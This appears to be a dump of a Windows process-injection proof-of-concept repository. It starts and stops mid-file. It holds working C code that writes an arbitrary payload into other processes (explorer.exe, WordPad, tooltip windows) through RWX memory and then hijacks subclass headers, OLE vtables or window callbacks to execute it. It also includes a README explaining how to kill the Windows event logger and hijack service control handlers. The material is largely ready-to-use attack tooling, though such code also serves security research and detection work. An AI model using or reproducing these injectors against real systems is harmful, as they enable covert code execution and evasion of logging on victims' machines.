DAMAGE. */ 29 | 30 | #define UNICODE 31 | #include 32 | 33 | #pragma comment(lib, "user32.lib") 34 | #pragma comment(lib, "shell32.lib") 35 | #pragma comment(lib, "comctl32.lib") 36 | 37 | #include 38 | 39 | typedef LRESULT (CALLBACK *SUBCLASSPROC)( 40 | HWND hWnd, 41 | UINT uMsg, 42 | WPARAM wParam, 43 | LPARAM lParam, 44 | UINT_PTR uIdSubclass, 45 | DWORD_PTR dwRefData); 46 | 47 | typedef struct _SUBCLASS_CALL { 48 | SUBCLASSPROC pfnSubclass; // subclass procedure 49 | WPARAM uIdSubclass; // unique subclass identifier 50 | DWORD_PTR dwRefData; // optional ref data 51 | } SUBCLASS_CALL, PSUBCLASS_CALL; 52 | 53 | typedef struct _SUBCLASS_FRAME { 54 | UINT uCallIndex; // index of next callback to call 55 | UINT uDeepestCall; // deepest uCallIndex on stack 56 | struct _SUBCLASS_FRAME *pFramePrev; // previous subclass frame pointer 57 | struct _SUBCLASS_HEADER *pHeader; // header associated with this frame 58 | } SUBCLASS_FRAME, PSUBCLASS_FRAME; 59 | 60 | typedef struct _SUBCLASS_HEADER { 61 | UINT uRefs; // subclass count 62 | UINT uAlloc; // allocated subclass call nodes 63 | UINT uCleanup; // index of call node to clean up 64 | DWORD dwThreadId; // thread id of window we are hooking 65 | SUBCLASS_FRAME *pFrameCur; // current subclass frame pointer 66 | SUBCLASS_CALL CallArray[1]; // base of packed call node array 67 | } SUBCLASS_HEADER, *PSUBCLASS_HEADER; 68 | 69 | DWORD readpic(PWCHAR path, LPVOID *pic){ 70 | HANDLE hf; 71 | DWORD len,rd=0; 72 | 73 | // 1. open the file 74 | hf=CreateFile(path, GENERIC_READ, 0, 0, 75 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 76 | 77 | if(hf!=INVALID_HANDLE_VALUE){ 78 | // get file size 79 | len=GetFileSize(hf, 0); 80 | // allocate memory 81 | *pic=malloc(len + 16); 82 | // read file contents into memory 83 | ReadFile(hf, *pic, len, &rd, 0); 84 | CloseHandle(hf); 85 | } 86 | return rd; 87 | } 88 | 89 | VOID propagate(LPVOID payload, DWORD payloadSize) { 90 | HANDLE hp, p; 91 | DWORD id; 92 | HWND pwh, cwh; 93 | SUBCLASS_HEADER sh; 94 | LPVOID psh, pfnSubclass; 95 | SIZE_T rd,wr; 96 | 97 | // 1. Obtain the parent window handle 98 | pwh = FindWindow(L"Progman", NULL); 99 | 100 | // 2. Obtain the child window handle 101 | cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL); 102 | 103 | // 3. Obtain the handle of subclass header 104 | p = GetProp(cwh, L"UxSubclassInfo"); 105 | 106 | // GetProcessHandleFromHwnd 107 | // 4. Obtain the process id for the explorer.exe 108 | GetWindowThreadProcessId(cwh, &id); 109 | 110 | // 5. Open explorer.exe 111 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 112 | 113 | // 6. Read the contents of current subclass header 114 | ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd); 115 | 116 | // 7. Allocate RW memory for a new subclass header 117 | psh = VirtualAllocEx(hp, NULL, sizeof(sh), 118 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 119 | 120 | // 8. Allocate RWX memory for the payload 121 | pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize, 122 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 123 | 124 | // 9. Write the payload to memory 125 | WriteProcessMemory(hp, pfnSubclass, 126 | payload, payloadSize, &wr); 127 | 128 | // 10. Set the pfnSubclass field to payload address, and write 129 | // back to process in new area of memory 130 | sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass; 131 | WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr); 132 | 133 | // 11. update the subclass procedure with SetProp 134 | SetProp(cwh, L"UxSubclassInfo", psh); 135 | 136 | // 12. Trigger the payload via a windows message 137 | PostMessage(cwh, WM_CLOSE, 0, 0); 138 | 139 | // 13. Restore original subclass header 140 | SetProp(cwh, L"UxSubclassInfo", p); 141 | 142 | // 14. free memory and close handles 143 | VirtualFreeEx(hp, psh, 0, MEM_RELEASE); 144 | VirtualFreeEx(hp, pfnSubclass, 0, MEM_RELEASE); 145 | 146 | CloseHandle(hp); 147 | } 148 | 149 | int main(void){ 150 | LPVOID pic; 151 | DWORD len; 152 | int argc; 153 | PWCHAR *argv; 154 | 155 | argv=CommandLineToArgvW(GetCommandLine(), &argc); 156 | 157 | if(argc!=2){printf("usage: propagate \n");return 0;} 158 | 159 | len=readpic(argv[1], &pic); 160 | if (len==0) { printf("invalid payload\n"); return 0;} 161 | 162 | propagate(pic, len); 163 | return 0; 164 | } -------------------------------------------------------------------------------- /richedit/oleum.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #define UNICODE 31 | #include 32 | #include 33 | #include 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #pragma comment(lib, "user32.lib") 41 | #pragma comment(lib, "shell32.lib") 42 | 43 | typedef struct _IRichEditOle_t { 44 | ULONG_PTR QueryInterface; 45 | ULONG_PTR AddRef; 46 | ULONG_PTR Release; 47 | ULONG_PTR GetClientSite; 48 | ULONG_PTR GetObjectCount; 49 | ULONG_PTR GetLinkCount; 50 | ULONG_PTR GetObject; 51 | ULONG_PTR InsertObject; 52 | ULONG_PTR ConvertObject; 53 | ULONG_PTR ActivateAs; 54 | ULONG_PTR SetHostNames; 55 | ULONG_PTR SetLinkAvailable; 56 | ULONG_PTR SetDvaspect; 57 | ULONG_PTR HandsOffStorage; 58 | ULONG_PTR SaveCompleted; 59 | ULONG_PTR InPlaceDeactivate; 60 | ULONG_PTR ContextSensitiveHelp; 61 | ULONG_PTR GetClipboardData; 62 | ULONG_PTR ImportDataObject; 63 | } _IRichEditOle; 64 | 65 | DWORD readpic(PWCHAR path, LPVOID *pic){ 66 | HANDLE hf; 67 | DWORD len,rd=0; 68 | 69 | // 1. open the file 70 | hf=CreateFile(path, GENERIC_READ, 0, 0, 71 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 72 | 73 | if(hf!=INVALID_HANDLE_VALUE){ 74 | // get file size 75 | len=GetFileSize(hf, 0); 76 | // allocate memory 77 | *pic=malloc(len + 16); 78 | // read file contents into memory 79 | ReadFile(hf, *pic, len, &rd, 0); 80 | CloseHandle(hf); 81 | } 82 | return rd; 83 | } 84 | 85 | // doesn't require elevated privileges for processes in the same session 86 | VOID oleum(LPVOID payload, DWORD payloadSize) { 87 | HANDLE hp; 88 | DWORD id; 89 | HWND wpw, rew; 90 | LPVOID cs, ds, ptr, mem, tbl; 91 | SIZE_T rd, wr; 92 | _IRichEditOle reo; 93 | 94 | // 1. Get the window handle 95 | wpw = FindWindow(L"WordPadClass", NULL); 96 | rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL); 97 | 98 | // 2. Obtain the process id and try to open process 99 | GetWindowThreadProcessId(rew, &id); 100 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 101 | 102 | // 3. Allocate RWX memory and copy the payload there 103 | cs = VirtualAllocEx(hp, NULL, payloadSize, 104 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 105 | 106 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 107 | 108 | // 4. Allocate RW memory for the current address 109 | ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR), 110 | MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 111 | 112 | // 5. Query the interface 113 | SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr); 114 | 115 | // 6. Read the memory address 116 | ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr); 117 | 118 | // 7. Read IRichEditOle.lpVtbl 119 | ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr); 120 | 121 | // 8. Read virtual function table 122 | ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr); 123 | 124 | // 9. Allocate memory for copy of virtual table 125 | ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle), 126 | MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 127 | 128 | // 10. Set the GetClipboardData method to address of payload 129 | reo.GetClipboardData = (ULONG_PTR)cs; 130 | 131 | // 11. Write new virtual function table to remote memory 132 | WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr); 133 | 134 | // 12. update IRichEditOle.lpVtbl 135 | WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr); 136 | 137 | // 13. Select all in the edit control 138 | SendMessage(rew, EM_SETSEL, 0, -1); 139 | 140 | // 14. Trigger payload by invoking the GetClipboardData method 141 | PostMessage(rew, WM_COPY, 0, 0); 142 | 143 | // 15. Restore original value of IRichEditOle.lpVtbl 144 | WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr); 145 | 146 | // 16. Free memory and close process handle 147 | VirtualFreeEx(hp, ptr,0, MEM_RELEASE); 148 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 149 | VirtualFreeEx(hp, ds, 0, MEM_RELEASE); 150 | 151 | CloseHandle(hp); 152 | } 153 | 154 | int main(void){ 155 | LPVOID pic; 156 | DWORD len; 157 | int argc; 158 | PWCHAR *argv; 159 | 160 | argv=CommandLineToArgvW(GetCommandLine(), &argc); 161 | 162 | if(argc!=2){printf("usage: oleum \n");return 0;} 163 | 164 | len=readpic(argv[1], &pic); 165 | if (len==0) { printf("invalid payload\n"); return 0;} 166 | 167 | oleum(pic, len); 168 | return 0; 169 | } 170 | -------------------------------------------------------------------------------- /propagate/enumprop.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2018 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #define UNICODE 31 | 32 | #include 33 | #include 34 | #include 35 | 36 | #pragma comment(lib, "user32.lib") 37 | 38 | #include 39 | #include 40 | #include 41 | 42 | typedef struct _win_props_t { 43 | DWORD dwPid; 44 | WCHAR ImageName[MAX_PATH]; 45 | HANDLE hProperty; 46 | HWND hParentWnd; 47 | HWND hChildWnd; 48 | WCHAR ParentClassName[MAX_PATH]; 49 | WCHAR ChildClassName[MAX_PATH]; 50 | } WINPROPS, *PWINPROPS; 51 | 52 | std::vector windows; 53 | int maxName=16, maxClass=16; 54 | bool bAll=true; 55 | 56 | // we want to ignore duplicates 57 | BOOL IsEntry(PWINPROPS e) { 58 | BOOL bFound = FALSE; 59 | 60 | for(int i=0;idwPid == windows.at(i).dwPid) { 63 | // same property? 64 | if(e->hProperty == windows.at(i).hProperty) { 65 | bFound = TRUE; 66 | break; 67 | } 68 | } 69 | } 70 | return bFound; 71 | } 72 | 73 | BOOL GetProcessImageName(DWORD dwPid, LPWSTR ImageName, DWORD dwSize) { 74 | HANDLE hSnap; 75 | PROCESSENTRY32 pe32; 76 | BOOL bFound=FALSE; 77 | 78 | // create snapshot of system 79 | hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 80 | if(hSnap == INVALID_HANDLE_VALUE) return 0; 81 | 82 | pe32.dwSize = sizeof(PROCESSENTRY32); 83 | 84 | // get first process 85 | if(Process32First(hSnap, &pe32)){ 86 | do { 87 | if(dwPid == pe32.th32ProcessID) { 88 | lstrcpyn(ImageName, pe32.szExeFile, dwSize); 89 | bFound = TRUE; 90 | break; 91 | } 92 | } while(Process32Next(hSnap, &pe32)); 93 | } 94 | CloseHandle(hSnap); 95 | return bFound; 96 | } 97 | 98 | // callback for property list 99 | BOOL CALLBACK PropEnumProc(HWND hwnd, 100 | LPCTSTR lpszString, HANDLE hData) 101 | { 102 | WINPROPS wp; 103 | HANDLE hp; 104 | 105 | hp = GetProp(hwnd, L"UxSubclassInfo"); 106 | if(hp==NULL) hp = GetProp(hwnd, L"CC32SubclassInfo"); 107 | 108 | if(hp != NULL) { 109 | ZeroMemory(&wp, sizeof(wp)); 110 | 111 | GetWindowThreadProcessId(hwnd, &wp.dwPid); 112 | 113 | wp.hProperty = hp; 114 | wp.hChildWnd = hwnd; 115 | wp.hParentWnd = GetParent(hwnd); 116 | 117 | GetClassName(wp.hParentWnd, wp.ParentClassName, MAX_PATH); 118 | GetClassName(hwnd, wp.ChildClassName, MAX_PATH); 119 | GetProcessImageName(wp.dwPid, wp.ImageName, MAX_PATH); 120 | 121 | maxName = max(maxName, lstrlen(wp.ImageName)); 122 | maxClass = max(maxClass, lstrlen(wp.ParentClassName)); 123 | 124 | // if not already saved 125 | if(!IsEntry(&wp)) { 126 | windows.push_back(wp); 127 | } 128 | } 129 | return TRUE; 130 | } 131 | 132 | // callback for child windows 133 | BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) { 134 | EnumProps(hwnd, PropEnumProc); 135 | 136 | return TRUE; 137 | } 138 | 139 | // callback for parent windows 140 | BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) { 141 | EnumChildWindows(hwnd, EnumChildProc, 0); 142 | EnumProps(hwnd, PropEnumProc); 143 | 144 | return TRUE; 145 | } 146 | 147 | bool sortEntries(const WINPROPS &a, const WINPROPS &b) { 148 | return lstrcmp(a.ParentClassName, b.ParentClassName)<0; 149 | } 150 | 151 | int GetPropList(void) { 152 | 153 | windows.clear(); 154 | 155 | EnumWindows(EnumWindowsProc, 0); 156 | 157 | std::sort(windows.begin(), windows.end(), sortEntries); 158 | 159 | return windows.size(); 160 | } 161 | 162 | int wmain(int argc, wchar_t *argv[]){ 163 | GetPropList(); 164 | 165 | wprintf(L"\n\n%-5s\t%-*s\t%-*s\t%-*s\t%-16s\n", 166 | L"PID", 167 | maxName, L"Image Name", 168 | maxClass, L"Parent Class", 169 | maxClass, L"Child Class", 170 | L"Subclass Header"); 171 | 172 | wprintf(L"%s\t%s\t%s\t%s\t%s\n", 173 | std::wstring(5, L'-').c_str(), 174 | std::wstring(maxName, L'-').c_str(), 175 | std::wstring(maxClass, L'-').c_str(), 176 | std::wstring(maxClass, L'-').c_str(), 177 | std::wstring(16, L'-').c_str()); 178 | 179 | for(int i=0;i.\n"); 161 | return 0; 162 | } 163 | 164 | len=readpic(argv[1], &pic); 165 | if (len==0) { printf("\ninvalid payload\n"); return 0;} 166 | 167 | dde_inject(pic, len); 168 | 169 | return 0; 170 | } -------------------------------------------------------------------------------- /svcctrl/README.md: -------------------------------------------------------------------------------- 1 | 2 |

Fun with the Service Control Handler

3 | 4 |

This tool was originally written for a CTF many years ago for the purpose of stopping the windows event logger. Since the event logger refused to accept SERVICE_CONTROL_STOP, the only option was to terminate the host process or at least the threads running the service.

5 | 6 |

Internal Dispatch Entry

7 | 8 |

Every Windows service has a "control handler" to receive control codes from the operating system. Depending on what the service is willing to accept, the more common control codes for a service are interrogate, start, stop, pause or resume. A pointer to the Control Handler is stored in a data structure on the heap that Microsoft refers to as an "Internal Dispatch Entry" (IDE).

9 | 10 |

The following structure is supported by versions of windows 7.

11 | 12 |
 13 | typedef struct _INTERNAL_DISPATCH_ENTRY {
 14 |     LPWSTR                  ServiceName;
 15 |     LPWSTR                  ServiceRealName;
 16 |     LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
 17 |     LPHANDLER_FUNCTION_EX   ControlHandler;
 18 |     HANDLE                  StatusHandle;
 19 |     DWORD                   ServiceFlags;
 20 |     DWORD                   Tag;
 21 |     HANDLE                  MainThreadHandle;
 22 |     DWORD                   dwReserved;
 23 | } INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
 24 | 
25 | 26 |

The following structure is supported by versions of windows 10.

27 | 28 |
 29 | typedef struct _INTERNAL_DISPATCH_ENTRY {
 30 |     LPWSTR                  ServiceName;
 31 |     LPWSTR                  ServiceRealName;
 32 |     LPWSTR                  ServiceName2;       // Windows 10
 33 |     LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
 34 |     LPHANDLER_FUNCTION_EX   ControlHandler;
 35 |     HANDLE                  StatusHandle;
 36 |     DWORD64                 ServiceFlags;        // 64-bit on windows 10
 37 |     DWORD64                 Tag;
 38 |     HANDLE                  MainThreadHandle;
 39 |     DWORD64                 dwReserved;
 40 |     DWORD64                 dwReserved2;
 41 | } INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
 42 | 
43 | 44 |

To find valid entries consists of searching all writeable areas of memory for a process hosting a service.

45 | 46 |

Stopping a service

47 | 48 |

Once a valid service IDE has been found, we can stop the service by executing the ControlHandler code using a remote thread and passing SERVICE_CONTROL_STOP as the parameter. For more information, refer to the StopService() function.

49 | 50 |

Process injection

51 | 52 |

It's also possible to overwrite the ControlHandler value with a a pointer to other code and forcing the service to execute via the ControlService API and SERVICE_CONTROL_INTERROGATE code. This requires setting the ServiceFlags field to SERVICE_CONTROL_INTERROGATE. For more information, refer to the SvcCtrlInject() function.

53 | 54 |

When things go wrong

55 | 56 |

The service names in an IDE don't always correspond with the name in the service database. Take for example the following entry.

57 | 58 |
 59 | SERVICE_NAME: WpnUserService_2e777
 60 | DISPLAY_NAME: Windows Push Notifications User Service_2e777
 61 |         TYPE               : e0  USER_SHARE_PROCESS INSTANCE
 62 |         STATE              : 4  RUNNING
 63 |                                 (STOPPABLE, NOT_PAUSABLE, ACCEPTS_PRESHUTDOWN)
 64 |         WIN32_EXIT_CODE    : 0  (0x0)
 65 |         SERVICE_EXIT_CODE  : 0  (0x0)
 66 |         CHECKPOINT         : 0x0
 67 |         WAIT_HINT          : 0x0
 68 | 
69 | 70 |

This tool will find the host process for "WpnUserService_2e777" but will not find a valid IDE. An additional option is available (-l) to list all valid IDEs found in the host process. Using the same service again with -l

71 | 72 |
 73 | ServiceName         : 0000024667405FD0 (WpnUserService)
 74 | ServiceRealName     : 0000024667405FD0 (WpnUserService)
 75 | ServiceStartRoutine : 00007FF790652F80
 76 | ControlHandler      : 00007FFF9422D3C0
 77 | StatusHandle        : 00000246674155C0
 78 | ServiceFlags        : 0000000000000002
 79 | Tag                 : 00007FFF942381A0
 80 | MainThreadHandle    : 0000000000000111 (273)
 81 | 
 82 | ServiceName         : 0000024667406010 (UnistoreSvc)
 83 | ServiceRealName     : 0000024667406010 (UnistoreSvc)
 84 | ServiceStartRoutine : 00007FF790652F80
 85 | ControlHandler      : 00007FFF96FBF0D0
 86 | StatusHandle        : 00000246698FF100
 87 | ServiceFlags        : 0000000000000002
 88 | Tag                 : 00007FFF97008580
 89 | MainThreadHandle    : 000000000000010F (271)
 90 | 
 91 | ServiceName         : 0000024667406028 (PimIndexMaintenanceSvc)
 92 | ServiceRealName     : 0000024667406028 (PimIndexMaintenanceSvc)
 93 | ServiceStartRoutine : 00007FF790652F80
 94 | ControlHandler      : 00007FFF96E5DFD0
 95 | StatusHandle        : 0000024669C54440
 96 | ServiceFlags        : 0000000000000002
 97 | Tag                 : 00007FFF96E6AB00
 98 | MainThreadHandle    : 000000000000010D (269)
 99 | 
100 | ServiceName         : 0000024667406056 (CDPUserSvc)
101 | ServiceRealName     : 0000024667406056 (CDPUserSvc)
102 | ServiceStartRoutine : 00007FF790652F80
103 | ControlHandler      : 00007FFF9426FAD0
104 | StatusHandle        : 0000024667415760
105 | ServiceFlags        : 0000000000000002
106 | Tag                 : 0000024667426060
107 | MainThreadHandle    : 0000000000000108 (264)
108 | 
109 | ServiceName         : 000002466740606C (UserDataSvc)
110 | ServiceRealName     : 000002466740606C (UserDataSvc)
111 | ServiceStartRoutine : 00007FF790652F80
112 | ControlHandler      : 00007FFF8501F4C0
113 | StatusHandle        : 00000246698FF180
114 | ServiceFlags        : 0000000000000002
115 | Tag                 : 00007FFF85078500
116 | MainThreadHandle    : 0000000000000110 (272)
117 | 
118 | ServiceName         : 0000024667406084 (OneSyncSvc)
119 | ServiceRealName     : 0000024667406084 (OneSyncSvc)
120 | ServiceStartRoutine : 00007FF790652F80
121 | ControlHandler      : 00007FFF8498BE90
122 | StatusHandle        : 0000024669841A40
123 | ServiceFlags        : 0000000000000002
124 | Tag                 : 00007FFF849AAFB0
125 | MainThreadHandle    : 000000000000010C (268)
126 | 
127 | 128 |

"WpnUserService" is the service name stored in the IDE, but the service database uses "WpnUserService_2e777". An additional option can be used to target a specific thread. Pass the decimal value of MainThreadHandle to the tool along with the database service name and it will locate the correct entry.

129 | 130 | 131 | 132 | 133 | -------------------------------------------------------------------------------- /tooltip/tip.c: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #include "../ntlib/util.h" 31 | 32 | typedef struct _IUnknown_VFT { 33 | // IUnknown 34 | LPVOID QueryInterface; 35 | LPVOID AddRef; 36 | LPVOID Release; 37 | 38 | // CToolTipsMgr 39 | LPVOID ptrs[128]; 40 | } IUnknown_VFT; 41 | 42 | VOID commctrl_inject(LPVOID payload, DWORD payloadSize) { 43 | HWND hw = 0; 44 | SIZE_T rd, wr; 45 | LPVOID ds, cs, p, ptr; 46 | HANDLE hp; 47 | DWORD pid; 48 | IUnknown_VFT unk; 49 | 50 | // 1. find a tool tip window. 51 | // read index zero of window bytes 52 | hw = FindWindow(L"tooltips_class32", NULL); 53 | p = (LPVOID)GetWindowLongPtr(hw, 0); 54 | GetWindowThreadProcessId(hw, &pid); 55 | 56 | // 2. open the process and read CToolTipsMgr 57 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 58 | if(hp == NULL) return; 59 | ReadProcessMemory(hp, p, &ptr, sizeof(ULONG_PTR), &rd); 60 | ReadProcessMemory(hp, ptr, &unk, sizeof(unk), &rd); 61 | 62 | //printf("HWND : %p Heap : %p PID : %i vftable : %p\n", 63 | // hw, p, pid, ptr); 64 | 65 | // 3. allocate RWX memory and write payload there. 66 | // update callback 67 | cs = VirtualAllocEx(hp, NULL, payloadSize, 68 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 69 | WriteProcessMemory(hp, cs, payload, payloadSize, &wr); 70 | 71 | // 4. allocate RW memory and write new CToolTipsMgr 72 | unk.AddRef = cs; 73 | ds = VirtualAllocEx(hp, NULL, sizeof(unk), 74 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 75 | WriteProcessMemory(hp, ds, &unk, sizeof(unk), &wr); 76 | 77 | // 5. update pointer, trigger execution 78 | WriteProcessMemory(hp, p, &ds, sizeof(ULONG_PTR), &wr); 79 | PostMessage(hw, WM_USER, 0, 0); 80 | 81 | // sleep for moment 82 | Sleep(1); 83 | 84 | // 6. restore original pointer and cleanup 85 | WriteProcessMemory(hp, p, &ptr, sizeof(ULONG_PTR), &wr); 86 | VirtualFreeEx(hp, cs, 0, MEM_RELEASE); 87 | VirtualFreeEx(hp, ds, 0, MEM_RELEASE); 88 | CloseHandle(hp); 89 | } 90 | 91 | // WorkerA or WorkerW created by SHCreateWorkerWindowW 92 | BOOL IsClassPtr(HWND hwnd, LPVOID ptr) { 93 | MEMORY_BASIC_INFORMATION mbi; 94 | DWORD res, pid; 95 | HANDLE hp; 96 | LPVOID ds; 97 | SIZE_T rd; 98 | BOOL bClass = FALSE; 99 | 100 | if(ptr == NULL) return FALSE; 101 | 102 | GetWindowThreadProcessId(hwnd, &pid); 103 | hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 104 | if(hp == NULL) return FALSE; 105 | 106 | // read first value of pointer 107 | ReadProcessMemory(hp, ptr, &ds, sizeof(ULONG_PTR), &rd); 108 | 109 | // query the pointer 110 | res = VirtualQueryEx(hp, ds, &mbi, sizeof(mbi)); 111 | if(res != sizeof(mbi)) return FALSE; 112 | 113 | bClass = ((mbi.State == MEM_COMMIT ) && 114 | (mbi.Type == MEM_IMAGE ) && 115 | (mbi.Protect == PAGE_READONLY)); 116 | 117 | CloseHandle(hp); 118 | return bClass; 119 | } 120 | 121 | BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) { 122 | WCHAR cls[MAX_PATH]; 123 | PWCHAR filter = (PWCHAR)lParam; 124 | LPVOID cs; 125 | DWORD pid; 126 | 127 | GetClassName(hwnd, cls, MAX_PATH); 128 | 129 | // filter specified? 130 | if(filter != NULL) { 131 | // does class match our filter? skip printing if not 132 | if(StrStrI(cls, filter) == NULL) goto L1; 133 | } 134 | cs = (LPVOID)GetWindowLongPtr(hwnd, 0); 135 | GetWindowThreadProcessId(hwnd, &pid); 136 | 137 | if(IsClassPtr(hwnd, cs)) { 138 | printf("%16p %16p %-40ws %-5i %ws\n", 139 | hwnd, cs, cls, pid, wnd2proc(hwnd)); 140 | } 141 | 142 | L1: 143 | EnumChildWindows(hwnd, EnumWindowsProc, lParam); 144 | 145 | return TRUE; 146 | } 147 | 148 | VOID commctrl_list(PWCHAR filter) { 149 | printf("%-16s %-16s %-40s %-5s %s\n", 150 | "HWND", "WindowBytes", "Class", "PID", "Process"); 151 | printf("*******************************************" 152 | "***************************************************\n"); 153 | 154 | EnumWindows(EnumWindowsProc, (LPARAM)filter); 155 | } 156 | 157 | int main(void) { 158 | int argc; 159 | WCHAR **argv; 160 | LPVOID pic; 161 | DWORD len; 162 | 163 | argv = CommandLineToArgvW(GetCommandLineW(), 